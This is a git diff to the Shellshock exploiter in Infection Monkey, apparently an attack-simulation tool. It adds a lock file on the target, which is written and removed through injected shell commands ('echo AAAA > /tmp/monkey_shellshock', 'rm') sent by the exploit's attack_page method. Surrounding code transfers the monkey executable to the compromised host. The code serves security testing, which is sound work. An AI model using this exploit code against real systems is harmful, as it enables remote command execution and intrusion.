diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py
index 9db1bad47..ad38f50ce 100644
--- a/monkey/infection_monkey/exploit/__init__.py
+++ b/monkey/infection_monkey/exploit/__init__.py
@@ -75,7 +75,7 @@ class HostExploiter(object):
         """
         powershell = True if "powershell" in cmd.lower() else False
         self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
-
+        
 
 from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
 from infection_monkey.exploit.wmiexec import WmiExploiter
diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py
index 208af2f98..78e668fc1 100644
--- a/monkey/infection_monkey/exploit/shellshock.py
+++ b/monkey/infection_monkey/exploit/shellshock.py
@@ -20,6 +20,7 @@ LOG = logging.getLogger(__name__)
 TIMEOUT = 2
 TEST_COMMAND = '/bin/uname -a'
 DOWNLOAD_TIMEOUT = 300  # copied from rdpgrinder
+LOCK_HELPER_FILE = '/tmp/monkey_shellshock'
 
 
 class ShellShockExploiter(HostExploiter):
@@ -108,6 +109,10 @@ class ShellShockExploiter(HostExploiter):
                 LOG.info("Can't find suitable monkey executable for host %r", self.host)
                 return False
 
+            if not self._create_lock_file(exploit, url, header):
+                LOG.info("Another monkey is running shellshock exploit")
+                return True
+
             http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
 
             if not http_path:
@@ -124,6 +129,8 @@ class ShellShockExploiter(HostExploiter):
             http_thread.join(DOWNLOAD_TIMEOUT)
             http_thread.stop()
 
+            self._remove_lock_file(exploit, url, header)
+
             if (http_thread.downloads != 1) or (
                         'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
                 LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
@@ -182,6 +189,17 @@ class ShellShockExploiter(HostExploiter):
                 LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header))
         return False,
 
+    def _create_lock_file(self, exploit, url, header):
+        if self.check_remote_file_exists(url, header, exploit, LOCK_HELPER_FILE):
+            return False
+        cmd = exploit + 'echo AAAA > %s' % LOCK_HELPER_FILE
+        self.attack_page(url, header, cmd)
+        return True
+
+    def _remove_lock_file(self, exploit, url, header):
+        cmd = exploit + 'rm %s' % LOCK_HELPER_FILE
+        self.attack_page(url, header, cmd)
+
     @staticmethod
     def attack_page(url, header, attack):
         result = ""